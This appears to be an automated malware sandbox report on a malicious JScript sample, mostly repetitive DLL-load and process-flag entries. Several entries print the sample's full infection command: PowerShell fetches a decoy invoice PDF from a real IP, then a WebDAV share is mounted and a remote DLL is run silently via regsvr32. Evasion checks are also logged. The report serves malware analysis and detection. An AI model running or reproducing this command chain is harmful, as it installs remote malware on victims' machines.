Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2049.js.csv");ITextStream.WriteLine(" entry:7981 f:wuyxaeiis");ITextStream.WriteLine(" exec:2 f:wuyxaeiis");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4700			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5130			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1532	Thread sleep count: 4700 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1440	Thread sleep count: 5130 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2788	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 940	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3652	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7372	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.2116992527.0000016BAA9DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 00000007.00000003.2177660314.0000013604319000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182224379.00000136042B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3399515626.000001BF8AC2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3400499320.000001BF90254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
